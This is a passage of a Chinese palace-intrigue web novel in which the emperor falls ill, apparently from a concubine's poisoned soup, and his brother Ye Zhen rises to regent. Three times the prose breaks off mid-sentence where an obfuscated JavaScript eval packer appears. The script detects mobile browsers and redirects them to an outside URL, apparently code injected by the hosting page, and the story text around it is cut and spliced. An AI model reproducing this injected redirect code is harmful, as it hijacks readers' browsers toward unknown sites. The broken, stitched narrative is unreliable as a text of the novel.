叶炫正在等她问,于是回道:“母后,昨夜我做了一个噩梦,梦见我床头有一只饿虎,在那里垂涎三尺、徘徊已久,我吓了一跳,正待唤侍卫,它就向我猛地扑来……” 太后边听边用茶盖拨拉盏里浮茶,漫不经心道:“一梦而已,何故忧心?” 叶炫道:“我请来灵台丞,并测一卦,他翻古籍,上有记载:易经有签云:肥羊入口;象曰:猛虎深山饿得慌,肥羊失群入山岗……寓意老虎吃羊。故我怀疑自己就是这个梦中的肥羊,大不吉祥啊!” 太后听了,嗤之以鼻,道:“怎么,你非要找出一只饿虎来不成?你何时学得像你皇弟叶真,也神神叨叨起来?你是当今皇上,应具有帝王之气,可现在看你这样,阳刚不足,阴柔过剩,长此以往,这才不吉祥啊!” 叶炫听了默不作声。 “对了,”太后看看他,又道,“你今天来,就与我讲你这个梦?” 叶炫说:“非也,儿皇实有一事,想与母后一说,但这件事似乎牵涉到三弟叶真,怕你误会,所以犹豫半天,不知该不该讲?” “哦?”太后一听,倒是认真了,问,“何事,你且讲来!” “这……”叶炫朝两旁看看,太后便对米莲望去,米莲会意,便与左右宫女退下。 叶炫见太后遣走了宫女,这才压低声音说:“皇太子叶坤被害一案有些眉目了,母后还记得当年铁铺的铁匠曾蛮子被抓入大理寺狱的事吧,审后无果,他一直被关了十多年……” 太后当然记得,她忙问:“哦?那个铁匠不是一直不招么,还对他用了大刑,他也未说,后来要斩他,还是你未允诺……怎么,现在招啦?” 叶炫摇摇头道:“现在出了一件怪事,今日我去大理寺狱见过这个铁匠曾蛮子,竟听他说,若是他讲出那个去他铁铺订制箭镞的人,恐怕小命早已不保……当时我就允诺他,只要说出那人名字,就可保他性命。” “结果怎样?”太后说,“他讲了吗?” 叶炫说:“他悄悄对我一人讲了,我一听,大吃一惊。” 太后连忙问道:“何人?” 叶炫犹豫片刻,这才咬牙说:“李诀!” “什么?”太后一惊,“怎么是他?” 你道李诀是何人,竟让太后也这般惊讶? 原来,这李诀即是统领宫中侍卫的御前侍卫,随时应差御前,上月又被叶炫升为御前带刀侍卫,可以随身携带刀剑在寝宫中自由出入,保护皇上的安全。 而李诀的兄弟李快,人称“快手剑”,正是之前被太后差遣派去魏国寻找明浩公主的神秘蒙面人。现在太子一案的疑点出现在李诀身上,而李诀又是叶炫所重用的人,由此叶炫脱不了关系了? 可是,叶炫又跑来把这情况讲给太后听,太后仔细看他那样,不像是装出来的,也没必要去装,这事无人知晓,他不说谁也不知……那么,他为何又要来讲出来?唯一原因,就是他真的与太子命案无关,看来此案的确扑朔迷离! 太后深知,按照叶炫的秉性和才智,以及他的行为作派,他不会有这么多弯弯绕的,更不会有这么深的心机,那么,李诀专门订制箭镞,究竟为何?他订制的箭镞,是否就是射向太子叶坤的那种毒箭?若是,背后又是何人指使?或者,这箭是被另外的人利用? 但是,太后对这叶炫,也并不是完全放心的,叶炫之前也曾安插人在她身边,被她除去一个,这件事一直是她心中的一块病;另外,十几年前他在太阴宫擅作主张,将太子妃刺死的那一幕,也是值得怀疑的…… 这母子之间、兄弟之间,虽不是亲生,也算亲生,若是一般百姓人家,定是其乐融融、齐心协力,可是到了这权倾天下的皇宫内,为何就这般相互猜忌呢? “母后,”叶炫说,“你为何不说话?” 太后叹了一口气,道:“我还能说什么?说李诀这条线一定要查?若是这样,到最后不还是要查到你身上来吗?” “此事甚是奇怪!”叶炫咳嗽几声,说,“目前朝堂之上,文武百官中,很多人表面上遵从我,背地里却另搞一套,还与叶亲王走得很近,说是去讨要丹药,也不知他们在背后都搞些什么?” “群臣与亲王勾连,历来是皇家大忌,”太后提醒他说,“那个典签帅周攸元也不去查查?” “他?这个周攸元对我也是阳奉阴违!”叶炫说,“最近我总算把他识清楚了,与那叶真暗通款曲、不清不楚……” 其实叶真的情况,太后也不是不知,那“快手剑”李快,也常被她派到叶真那里,打探些消息,并定时来报。 但她装着不知,只是问道:“怎么,你莫非怀疑你皇弟?有何证据吗?” 叶炫脸色凝重,双眉紧锁,道:“周攸元若是他的人,我哪去找证据?” “他的人?……”太后的脸色难看得可怕。 “这个叶亲王,”叶炫继续说,“我现在才发现,他绝对是一条聪明绝顶的鱼。淮南王刘安曾说,‘临渊羡鱼,不如退而结网’,那我就静心结网吧。可是,他是深潭下的泥鳅,我竟捕不着,似乎他是个没有错的完人……”说得激动起来,于是咳嗽得止不住。 太后看着他,皱眉说道:“不过,你也要检查检查自己,当初叶真将那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885055|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨媛媛献与你,你就开始日日美酒、夜夜笙歌。你可知当年的汉成帝是怎么死的?” 若是别人说这话,他堂堂悒文帝早就暴跳如雷、立马赐死了,可这是他母后,他只有“聆听教诲”的份。 太后还真是不客气,继续说道:“汉成帝实际上是死于荒淫纵欲的,他宠爱飞燕、合德姐妹俩,结果体虚,求奇药,得一种叫昚恤胶的春药,被封为昭仪的合德吃醉酒后,一下给他吃了七丸,让其纵欲,一夜未停,结果第二日就驾崩了!” “母后,”叶炫惶恐且羞惭地说,“怎么说着说着,就说到这个上面了?” 太后最厌恶的就是这种男女之事,不提还好,一提起心头就来气了,她拍了一下扶椅说:“那个杨媛媛真不是个东西,你不知沈皇后曾到我这里来哭诉了多少次,说你有一次从床上下来,没踩稳就栽倒在地,还躺了半日才缓过气儿!” 叶炫更是羞惭,惶恐地说:“那个贱人,恨不得加油添醋……太后,杨媛媛那里,其实我早就没去了……” “你当然没去,”太后瞧着他,表面上是恨铁不成钢,其实是在发泄着自己失去亲生儿子的心头之恨,“你现在是去了比她更年轻更漂亮的柔儿那里,她更是一个害人精,她也是杨媛媛……不,也是别人献给你的吧?” 叶炫被数落得有些不快了,竟然开始顶嘴,尽管声音不大,但面有愠色:“母后,圣人曰:食色,性也!这是天下一切饮食男女之本性,况乎寡人贵为皇帝,然也未像桓帝时那样,‘多内幸,博采宫女至五六千人’吧?” 太后怒道:“是,你是还未像成帝、桓帝那样地无耻,但是这悒国的治理,你上心了吗?你把悒国治理得像魏国那样,百姓都安居乐业、一派生机勃勃的景象了吗?” “这……这……”叶炫语塞。 停顿一下,太后又继续愤愤地说:“你还有脸提圣人,孟子就说过,梁惠王太没有仁德,他在寝宫中的恩爱之心‘足以及禽兽’,却对民生之艰视而不见,为占土地不仅让百姓去战场送死,还不惜让自己宗族子弟丧命……” 叶炫见太后把话题转移到这上面,于是说:“边关战事频仍,也是因北旗窥探我领土、挑起事端之故,我悒国乃泱泱大国,岂容蛮夷猖狂?” 太后道:“战事频仍,就会消耗国力、加重税赋,导致民不聊生,长此以往,文武百官中,还会有多少人支持你的治国方略呢……这一切都环环相扣,这其中的奥妙,难道你就视而不闻吗?” 其实,话已至此,叶炫也觉得母后说得还是很有道理的,也察觉出了母后的良苦用心,于是火气渐消,站起身向太后一拜,说:“多谢母后教诲,儿皇明白了。” 太后倾吐完这一通话后,心头郁积的那些阴霾之气也渐渐消散,于是摆摆手,放低声音说:“叶真和典签司的事,我知道了。你先回去吧,自己也好生检查下原因,别尽把事情推到他人身上……” 叶炫回头走几步,想起什么,又停下脚步,掉过头问:“对了,母后,那曾蛮子?……” 太后说:“这件事容我也再想想……” “好的,”叶炫恭顺地点点头,“一切听母后的……” 叶炫刚离开,米莲便从屏风后闪了出来,太后问她道:“你都听见叶炫的话了?曾蛮子告诉叶炫,那箭镞是李诀在他处订制的,你相信吗?这可是个十分重要的新线索!” “好像是真的……”米莲点点头说,“不过,这些都不是我们亲耳听到,所以还得找个机会到曾蛮子那里重新核实!” 太后点点头,道:“你说得有道理,不过,这事还得让大理寺狱的那个林啸去办,你别又像以前那样鲁莽地硬闯大牢了,也不注意影响……” “是。”米莲说。心里却在犯嘀咕:咦,太后忘了?那次我不正是奉她之命去的典签司大牢吗?于是这个问题一直在米莲脑里盘旋,不知是太后真的忘了,还是故意为之。 唉,猜不透……这个女魔头摇摇头,想。 19. 皇帝颓败,伴随疯傻 叶炫刚回到自己的永延殿,还未喘定气,王公公就在外拖长声音禀报喊道:“沈皇后驾到……” “这个嚼舌头的女人又来做甚?”叶炫并不起身,不耐烦地随口说,“让她进来。” 沈皇后进来了,见到叶炫就无可奈何地说:“陛下,我可是把你的话托人给云溪公主捎去了,可是她就是不愿回来,说自己宁愿浪迹天涯……” 皇后说的这个云溪,就是他们的女儿叶云溪,云溪公主,过不惯宫中规矩繁多的生活,之前就已出宫,每天在外野,还拜师学武,完全不像个女儿家。 “她为何这样说?”叶炫问,“难道这皇宫还比不上外面?” 沈皇后便说:“其实,她……她这是在与你置气呢。” 叶炫一拍龙床,怒道:“还不是你惯的,不知你又对她说了些甚?” 沈皇后的脸色骤然变化,但她敢怒不敢言,只是拂袖而去。 宫女彩儿紧紧跟随其后。这个彩儿,跟随他们多年,现已人到中年,本来该离宫的,但她忠心,又会点武功,沈皇后舍不得她走,死活留了下来。 出了永延殿,彩儿便上前对她说:“娘娘息怒,你没看今天皇上有些奇怪吗?你都还未说什么,他就那样动怒,不太像往常啊。” “他疯了才好呢!”沈皇后愤愤地说,“让他死在那些狐狸精的床榻之上!” 沈皇后一提到“疯”字,彩儿就想起什么,说:“娘娘,最近一段时间,我发现陛下除了容易动怒,行为举止也有些古怪起来,他不会真有什么癔症吧?” “哦?”沈皇后一听,镇静下来,“你为何有这种感觉?” “我也说不好……”彩儿想想说,“对了,娘娘不是叫我留意那个狐狸精给陛下安排的膳食吗,御膳房那边倒是没发现什么,但有一种汤是狐狸精亲手熬的,我曾将残汁拿去叫人查验过,发现疑有麦角,问御医,御医说麦角可以治疗偏头痛……” 沈皇后想想,说:“陛下有时睡不着觉,好像是有头疼的毛病……” 彩儿又说:“后来有一次,我又查到他的鱼汤里好像出现鱼胆汁,问御医,御医又说鱼胆汁可以清肝明目……” 沈皇后想想,说:“是啊,又怎么样呢?鱼胆还有清热解毒功效呢,再说鱼汤里出现鱼胆汁,也不奇怪啊。” 彩儿迟疑一下,又说:“再后来,我在宫外碰到一个民间卖药的老医者,就请教了他,他告诉我,麦角加鱼胆,长期服用易诱发疯癫病症,我也不明就里,所以就没对你说,再说也没什么铁的证据。” 沈皇后听了,警惕起来,喃喃自语道:“这件事暂别外传,我先去禀报了太后再说。” “是,娘娘。”彩儿点头道。 …… 千寿宫里,沈皇后慌慌张张闯了进去,见到太后就说:“母后,有个情况臣妾必须给你讲……” “慌慌张张成何体统!”太后皱起了眉头,然后掉头望向米莲,米莲便低头退下。太后这才掉头过来说,“慢慢讲。” “据我身边的宫女彩儿禀报,”沈皇后环视一下四周,悄悄对太后说,“那个狐狸精,在给陛下弄蛊,亲自熬制加了麦角和鱼胆的鱼汤给陛下喝,民间有老医者说,这两样东西混合在一起长期服用,易诱发疯癫!” “哦?”太后眼里精光一射,“对了,你说的这个狐狸精,是哪个,大的还是小的?” 沈皇后说;“是小的这个赵晓柔,大的那个杨媛媛,以前是专门给陛下配制春药的,现已人老珠黄;而这个赵晓柔,陛下称她‘柔儿’,肉麻得很,不仅也给陛下配制春药,居然还下毒!” “床榻之事我刚才已教训过叶炫,这是你家事,你也该管管,”太后最烦这种事,皱起了眉头,“至于你说的那小狐狸精‘下毒’,我再了解下,找御医问问……” …… 又隔一日,叶炫到用晚膳时,不知怎的茶饭不思,正在郁闷时,忽听王公公来报:“启禀皇上,嫔妃娘娘赵晓柔求见……”’ 赵晓柔就是贵妃杨媛媛给他送来的“表妹”柔儿,若是往常,叶炫欢喜得很,可是今日,想起母后前两日告诫的那些话,又想起皇后“下毒”的提醒,再加上云溪公主的烦心事,他便有些冷静下来,觉得自己是应该好好捋捋这一切了…… 他还未想好该找什么借口推脱,却见柔儿这时已款款而进,但见体态丰腴的她,今日又是另一番丰韵的模样—— 一件素白长裙,檀色丝线在衣料上绣出枝干,枝干边染出点点红梅,一条淡黄腰带勾勒出窈窕,一头长发用了玫瑰香油打理得乌黑锃亮,人还未走到近前,那香喷喷的气味就已经袭来,令人迷醉…… 再看她面容,一双妩媚勾人的眼眸,红唇娇艳似新开花朵,白皙皮肤衬托出弯若柳叶的眉儿,真的是世间最奇异的美人儿!尤其是她那白皙丰满的□□,半遮半掩,简直就是摄人魂魄的“凶器”! 这个人间尤物,现在的一颦一笑,在叶炫看来却像充满了杀机,她的美貌在他的眼中,已活脱脱成了一只迷惑人的妖狐,似要摄取他魂儿?他不禁背脊发冷,低沉着嗓子问道:“谁让你进来的?” 柔儿一听,又见他沉着脸色,有些吃惊,旋即又撒娇地说:“皇上今儿怎么啦,是臣妾哪里做得不妥,惹着你生气啦?” 叶炫沉默着未言语。 柔儿又娇羞一笑,慢慢上前,小心翼翼地柔声说道:“有两三日不见皇上来,臣妾有些想你,这……”说着脸上现出娇羞之色,低声补充道,“我这里讨得一如意生精丸……” 话未落音,忽见叶炫勃然大怒,脱口就骂一声:“滚!” 柔儿大惊失色,旋即流出泪水,掩面哭啼而去…… 少顷,夜色降临,贵妃杨媛媛慌慌张张跑来了,进来就对叶炫娇滴滴地问道:“陛下怎么啦,柔儿到我那儿哭哭啼啼,半天也劝不住,她做什么事惹恼皇上了?” 这个杨媛媛,叶炫倒是很久没见过她了,自从他开始怀疑叶亲王后,就不想见到这个浑身是谜的女人,偶尔在有月光的夜晚想起她,曾经的美好岁月虽让他有些伤感,但是更多的,却是月亮背后的阴霾,令人不寒而栗。 此时的叶炫,岂止是心烦意乱,简直像是心神大乱,就如心房里有若干妖魔降伏不住。他抬头望着这个杨媛媛,觉得她现在那张抹了厚粉的老脸,在透进窗户的月光映照下,已变得像个凶神恶煞的女魔头,与千寿宫里的凤仪女官、那个传说中的女罗刹融为一体,于是心里恐慌,惊恐得大叫一声:“来人呀!” 帷幔后面,忽闪出御前带刀侍卫李诀,他按剑四顾,却未发现有何异常,于是用询问的眼睛望着杨媛媛;杨媛媛起初惊魂未定、一脸不解,慢慢地开始镇静下来,说道:“莫……莫非圣上是着了阴魔?” 李诀一听,又掉头去看皇帝叶炫,当他的眼睛与叶炫的眼睛对视时,叶炫这才第一次去细看这人的眼睛,发现那真的是一双凶狠嗜血的虎豹之眼,冷漠而阴沉。 叶炫忽联想起铁匠曾蛮子说的话,又想起自己曾经做的那个噩梦,背上不禁冷汗津津,一种从未有过的恐怖掠过心头。忽然,他大叫一声:“来人呀,他们是一伙的……”说完头一仰,身子一歪,便昏死过去…… 李诀一听,不明就里地望着杨媛媛,杨媛媛也懵懵懂懂地望着李诀,这时有个宫女恰好进来,一看见歪倒在地的皇上,顿时大惊失色,转身就往外跑,边跑边惊恐地叫道:“来人呀,陛下他……” 一会,失魂落魄的沈皇后闻讯赶来,惊慌失措的御医也纷纷赶来,众人将叶炫搀扶到床榻,被叫来的御医开始给他把脉诊断,忙得不亦乐乎。 再过一会儿,太后也在宫女们的簇拥下,乘坐辇轿不紧不慢地赶来,一进叶炫的寝宫,太后便问:“怎么回事?” 沈皇后指着一旁的贵妃杨媛媛,哭着说:“母后去问她,看看她对陛下做了些什么?” 贵妃杨媛媛也哭了起来,她朝太后跪下,抽抽噎噎地说:“禀太后,冤枉啊,我也是听嫔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嫔妃柔儿仔细一看,吓了一跳,连忙去拿,不料王智鹏的手一把收回,然后一言不发地转身离去。 嫔妃柔儿怔怔地望着王智鹏那模糊的背影,心里七上八下地跳着,不知自己将面临着一个什么样的未来。 而这个王智鹏王公公,走了不远就站住,然后抬头去看天,看那半遮半掩的月牙已经升起,听那天边隐隐传来轰隆隆的雷声,于是摇摇头自言自语地说:“这天,又有月光又有雷声,奇怪,莫非要变天罗?” …… 再说叶炫的寝宫,叶炫终于清醒过来,御医一报,太后和沈皇后顿时都松了一口气。御医开了调理身子的方子,然后离去。可是这时,太后和沈皇后发现新的问题又来了,这个苏醒过来后的叶炫,却将眼睛直愣愣地瞪着某一处,嘴里嘟嘟囔囔地说着什么。 沈皇后听不明白,然后太后又凑上前去仔细听,却听他正在胡言乱语:“他、他们是一伙的,是……是白额大虎,要吃了我……” 沈皇后这次听清楚了,不由泪水涟涟,对太后伤心地说:“母后,你看,云溪公主离宫了,现在陛下又变成这样,这如何是好?……” “唉……”太后叹了口气,拉过沈皇后的手,用手拍拍她的手背,无可奈何地说,“这作的什么孽啊,还是边走边看吧……” 太后回到自己的寝宫,接过米莲端来的羹汤,慢慢地抿了一口,然后放到桌上,面无表情地说:“这下,又有好戏看了!” 一旁的米莲没有吱声,只是微微地点头,诡谲地一笑。 “忙了一天,你回去休息吧,”太后又说,“我一人好好想想……” “是。”米莲说,然后恭恭敬敬地退下。 …… 而在叶炫的寝宫里,当全部的人都离开了寝宫,身边没有了人时,在床上一直嘟嘟囔囔的叶炫停了下来,仰头望着房梁思索着:麦角加鱼胆熬鱼汤,真的会诱发疯癫? 20. 叶真露头,众臣追捧 皇宫外的叶亲王府邸里,这两天则又是另一番景象,叶真在他那嵌有太极图的前厅里,头戴星冠,脚登云履高筒白布袜,手里拿一把嵌珠青龙剑,正绕着太极图比划着,口中念念有词:“道所不欲也,行道致生不致货……” 悒国的文武百官中,一会儿是这个来请安,一会儿是那个来密报,自然,悒文帝叶炫夜晚发臆症昏死过去的消息,也传到他耳里。 但是,他好像无动于衷,也像对这一切不感兴趣。他历来都是这样,竭力要把自己打扮成一位厌倦于红尘的“世外高人”,渐渐地,旁人都知道了他这“癖好”,于是,他装他的“高人”,他们该禀报的还是得禀报,各做各的功夫。 他还有个“功夫”,就是喜欢在自己的丹炉里炼丹药,官员来他府里本来是一件很忌讳的事,但是有了这丹药,就有了借口,所以,凡是对来他府邸的人,走时他都会送他们一剂丹药,这整个过程就是他的“功夫”了。 至于他送的这些丹药,究竟有什么用处,是否真的有延年益寿的妙用,就鬼都不知了;那些官员将丹药各自带回家,然后往角落或茅厕里一扔,也是神不知鬼不觉。 …… 到了晚上,亲王府里终于清净下来,这时的叶真,便摘下头上的星冠,脱去脚上的云履高筒白布袜,放下佩剑,长长地吁了一口气,这才躺在椅上慢慢喝茶。 刘王妃带着两个孩儿,临睡前来给他请安,一个是世子叶永,一个是郡主叶远,两人一合就是那个“永远”,叶真很是宠爱。 请安后,两个孩子又被刘王妃带去睡觉,旁边门客看着叶真的脸色,忍不住指着两个孩子的背影,阿谀逢迎道:“瞧,一个‘皇子’,一个‘公主’,哪点比他差?” 叶真望着孩子的背影,“圣心”甚慰,这就是他最得意的地方,因为他哥哥、也即那个早被他架空了的悒文帝叶炫,在他多年精心“经营”下,除了有个女儿,后来就开始绝后,再无子嗣。 忽然,他回过神来,似觉得没对,又皱着眉头对门客小声喝道:“休得胡说!” “是是……”门客唯唯诺诺起来,退了下去。 这时候,一个头戴斗笠、脸上蒙着黑布的神秘人,悄悄地溜了进来,悄无声息地来到他面前。 “去过太后那里啦?”叶真问,“是她让你又来监视我的?” 神秘蒙面人连忙道:“是的,殿下,不过就是打探打探……” 原来,这人正是“快手剑”李快,拿今人的话说,是个“双料细作”,既听命于太后,又遵从于亲王,两边都不得罪,他在其中游刃有余。 太后虽然权倾朝野,但是毕竟年岁已大,而亲王虽还默默无闻,但从眼下的情势看,他却是年轻有为,颇具潜力;这李快既是朝中之人,又是江湖中人,更重要的还是……他最会拿捏。 “此次去魏国,办成啦?”叶真说。 “禀报亲王,办成了……”李快说着,旋即从怀中拿出那劫来的“昆仑玉龙凤戏珠”,双手奉给亲王,道,“怕人发现,藏了许久,今日才给你拿来,听说这龙凤戏珠是个稀世之宝?” 叶真接过这个“昆仑玉龙凤戏珠”,拿在手上仔细把玩着,研究着,但见它白里透绿,温润明亮,龙凤围绕一颗火珠而戏,图案镌刻巧夺天工,极为精美! 叶真对凡是出自昆仑的宝物都喜欢攫取,这种癖好源自于一种奇怪的心理,即自从他祖皇丢失了那尊传说中的镇国之宝“玉皇鼎”后,他就有了一个夙愿,一定要找到这个东西,并相信这个宝物定能使悒国鼎盛振新、社稷永固。 他把玩着这个“昆仑玉龙凤戏珠”,自言自语地说道:“昆仑之玉,石之至美,犹如昆仑之丘,河水出焉……最为尊贵者,莫如源头!”想起什么,又掉头问,“对了,这件事没有泄露出去吧?” 李快最怕的就是问这句,他早就想好,于是硬着头皮说:“殿下,无人知晓。”其实,这抢宝之事叶子萌应该是知道的,不过李快现在已顾不了这些,先把眼前蒙混过去再说。 叶真放下手里的宝物,用帕揩揩手,又问:“对了,太后吩咐你去魏国查访的事,你还查出了什么?” 李快犹豫了一下,小声说道:“殿下,那个明浩公主找到了……” 叶真一听,身子微微一震,睁大了眼睛,即而回过头慢慢说:“你是说,当年太子叶坤丢失的那个女婴、即明浩公主,现在找到啦?” “正是,”李快点头道,“查了,年龄等都对得上号,不过已改名为‘燕儿’,而且她本人并不知道现在的父母都不是亲生。” 叶真默不作声,围着厅堂地上那幅太极图,一步一步地慢慢迈着,眼前浮现出十几年前的往事,一幕幕在眼前掠过,就像昨天才发生的一般。 忽然,他停止转圈,问李快道,“太后知道后是什么态度?” 李快说道:“太后甚是欢喜,还落了泪……” 叶真便不再吱声,挥挥手,于是李快便迅速退下,消失不见。 李快走后,叶真的夫人刘王妃从侧房走出,惊讶地问道:“刚才我正要给你端银耳羹出来,恰好听到你们谈话,当年那个明浩公主有下落啦?” 叶真就像没听见她说话似的,抬头望着房檐口的那轮月亮,不知在盘算什么……突然,他轻轻地脱口叫了声:“不好!”便愣在了那里。 …… 大理寺狱关押铁匠曾蛮子的牢房里,送牢饭的狱卒忽然惊慌失措地跑了出来,大叫道:“不好啦,人犯服毒自杀啦,人犯服毒自杀啦……”喊声在幽深的通道里回荡着。 几个狱吏及牢头纷纷跑去,发现曾蛮子果然是耳朵鼻孔流出污血,试试鼻息,无有呼吸,显然已中毒身亡,于是连忙派人报告上去…… 消息很快传到千寿宫太后那儿,太后一听,马上问身边的米莲:“之前找曾蛮子核实的事,你已经给林啸讲了吧?” 米莲连忙回答:“已经讲了,林啸他们已经作了安排,太后尽管放心。” 太后点点头,道:“这也太巧了,太子一案刚有线索眉目,马上就有人想掐断,究竟谁有这个能耐呢?” 米莲想了想,嘴里动了动,却没说出口。 太后看在眼里,道:“你但说无妨。” 米莲的眉头皱紧,犹豫片刻才小声说:“会不会就是陛下自己差人干的?” 太后的眼睛睁大了,道:“哦?为何这样说?他不是疯癫了吗?” 米莲便说:“如果他的疯癫是装的呢?他先把曾蛮子透露李诀这件事讲出来,李诀正是他侍卫,让人觉得他不会这么愚蠢,于是撇清了关系;然后,他疯了,恰好在这时曾蛮子又被人‘灭口’,就再无对证了……” 太后仔细想了想,道:“如果能证明叶炫的疯癫是装的,那曾蛮子被‘灭口’才有可能是他差人干的……”愣了一下又说,“也不对啊,他为何要装疯癫,把皇位拱手让出?” 米莲想了想,也点头道:“是的,没有证据的事,也不能摆在桌面上,不足为凭。但是有一点已经明瞭,现在亲王的党羽已遍布朝野,陛下身边已没多少值得他信得过的人了……” 太后点点头,说:“现在越来越清楚了,叶炫的身体衰弱,也许就是被人设的局所造成,他的疯也许是自己设的局,当初我儿的被害,也是被人设的局……真是复杂得很呀!” 兄弟阋墙的事,自古以来就是皇家的宿命,现在又降落在叶家的头上,太后想起就伤心,禁不住两眼湿润,连连叹气。 “太后也不必过于伤感,”米莲说,“还是身体重要。” 太后虽然有些伤感,但是心思更深,若太子真的是谁陷害的,她能轻易饶过他吗?叶炫和叶真都非她亲生,对外她虽声称“视同己出”,但到了关键时候,就是另外一回事了。 她假装无奈地说道:“唉,现在还有什么办法呢?叶炫无德、无能、无后,连一个能达天年的身体也无,现在又疯了,废了;而老谋深算、心机颇深的老三,我虽不甚喜欢,但他毕竟是我一手养大,又年轻体壮,子嗣绵延,也是没办法的,这也许就是天命吧?……” 米莲不知太后这话的背后有何意,她揣摩着,不着声。 “李公公呢?”太后问。 米莲说:“他在后院,我去叫他……”然后去了后院,少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太后一听,心里微微一震,道:“北旗一直是我悒国的心头大患,这忧患一日不止,哀家一日不得安宁啊!” 这时相国吴国成站了出来,奏道:“太后,北旗凶悍,我悒国应避其锋芒,采取怀柔国策,乃是上上之策;若针锋相对地彰显国威,实在不是明智之举……” 这“彰显国威”一词,正是悒文帝叶炫在朝堂上经常挂在嘴边的,而“怀柔国策”却是亲王叶真的主张,现在吴相国这样一提出来,意思就非常明显了。 太后微微点点头,道:“嗯,吴相国说得还是很有道理的……”言下之意,她是对叶真的主张表示了首肯,但又不肯明说。 这时,兵部尚书严沯眼珠一转,乘机顺着太后递出的杆子往上爬,说道:“太后圣明,国不可一日无主,微臣以为,叶亲王胸怀韬略,英明神武,勤勉为政,是治理国家的人才,若让他来代为理政,则是正确之举!” 话刚落音,就有几个大臣站出来奏道:“臣附议!”其余诸臣,即使是有不赞同的,此时也不敢站出来说话,都拿眼睛观望太后。 太后也不说话,只拿眼睛瞟向一旁的叶真,而叶真连忙站起,对太后拜道:“儿臣惶恐,儿臣何德何能,恐不能胜任,以辜负了太后的厚望……” 这个问题其实太后早就已经深思熟虑,而且已与吴相国暗中沟通并达成一致,所以今天在朝堂上,吴相国才可能主动提了出来。 但现在,太后仍然要做出深思状,这一“深思”,时间就太长了,大殿内安静得出奇,谁也不敢在这时打破这安静的氛围,都耐着性子等待着…… 又过很长时间,太后猜测那个叶真大约熬得都快失去了信心,这才摆摆手,开始慢悠悠地说:“既然大臣们举荐,我看你就别再推辞了,暂时代理政事一些时日,待日后慢慢再观看吧……” 太后这话似有两重意思,一只是“代理”,看皇上的病情是否有所好转再定;二是要“观看”叶真在这期间是怎么个表现,是否合太后的意……此等妙处,太后拿捏得恰到好处。 话已至此,叶真才松了一口气,装着勉为其难的样子,点点头道:“唉,儿臣就依了母后,暂为代职辛苦一阵吧,还望陛下的病早早痊愈。” 太后点点头,这才站起,在两名宫女的搀扶下走下殿,临时想起什么,又回头对叶真说:“散朝后我午休一下,下午你来我寝宫,我还有话说。” 叶真恭敬说道:“是,母后……恭送母后!” “恭送太后……”文武百官也拱手说道。 21. 铁匠假死,透露隐秘 太后在李公公和一群宫女的簇拥下,从侧门出去,刚走到侧门外的走廊,就见走廊那里的米莲全身披挂,带领黑压压一群带刀武士站在那里,这是早就安排好的,就怕出意外。 他们一见太后,恭敬致礼,然后尾随着太后朝千寿而去,走着走着,米莲还忍不住又回头,面露杀气,用她那双睁得很圆的柳叶眼,朝大殿那边瞥了一眼。 …… 大殿里,等太后一走,有几个官员就俯卧在地,对叶真叩拜起来:“恭喜三殿下,贺喜三殿下!” 叶真一听,连忙站起来,怪模怪样地说道:“哎呀哎呀,众卿快快请起,你们不要这样好不好,你们这么一弄,岂不是要把我架到火上烤了吗?把我烤糊了,怎么办,你们就高兴了吗?” 几个俯卧在地的官员听他这么一说,于是尴尬地起身,哭笑不得,不明白他葫芦里卖的什么药。 叶真指点着他们的鼻子,又道:“唉,我那逍遥仙子的好日子,就算被你们给毁了,我还寻思怎样炼就我的九转大丹呢,可是现在,寡人又要落入凡尘,与你们这帮饮食男女厮混在一起了……” 相国吴国成假装笑着,拱手道:“三殿下差矣,先贤也说,饮食男女,人之大欲存焉,殿下虽境界高远,有若登临琼楼,但也该下来体恤民情,这符合圣贤之道啊!” 有几个官员就谄媚地笑,连连点头,叶真便将食指往上一伸,道:“嘘,不许笑!登基大典还没开始呢,你们就高兴得想攀着树枝往上摘王母娘娘的蟠桃?待会儿我还要去太后那里,就怕她真的架了盆火,要烤得我汗流浃背、魂魄出窍呢!” 众官听了,不由你看看我、我看看你,都不知他究竟是何意。唯有吴相国向那边的大理寺少卿赵渊如相视一眼,两人会心一笑。 叶真也不言语,顺手从太监王智鹏手里夺过拂尘,将其一甩,然后翘着兰花指,围着那些文武百官转起圈儿来,嘴里唱喏: “昔我往矣,杨柳依依,今我来思,雨雪霏霏。行道迟迟,载饥载渴。我心伤悲,莫知我哀呀……”那“呀”字拖得很长很妖娆,令人既感到舒服,又感到有些肉麻。 兵部尚书严沯渐渐看出了一些道道,他双手往胸前一拱,对叶真拜道:“新帝这是心系久戌不归的边关将士,真乃胸怀黎民,若我悒国怀柔国策一旦施行,那就是万民之福了啊!” 众官一听,齐声唱喏:“新帝英明,似古之虞舜,爱民如子,乃我悒国之福……”声音洪亮,余音绕梁,久久不散,那马屁拍得是杠杠的。 唯有少数的官员,此时则在朝堂一角默不作声,其中一人将袖袍轻轻一甩,慢慢地离开了朝堂。 此人正是大理寺少卿赵渊如,他离开皇宫后就径直回到自己府邸,坐在书房喝茶,品味着刚才朝堂一幕。这时进来一人,原来正是林啸、当年皇太子叶坤的贴身侍卫,与沐灏天一样,都是武功高强之人。 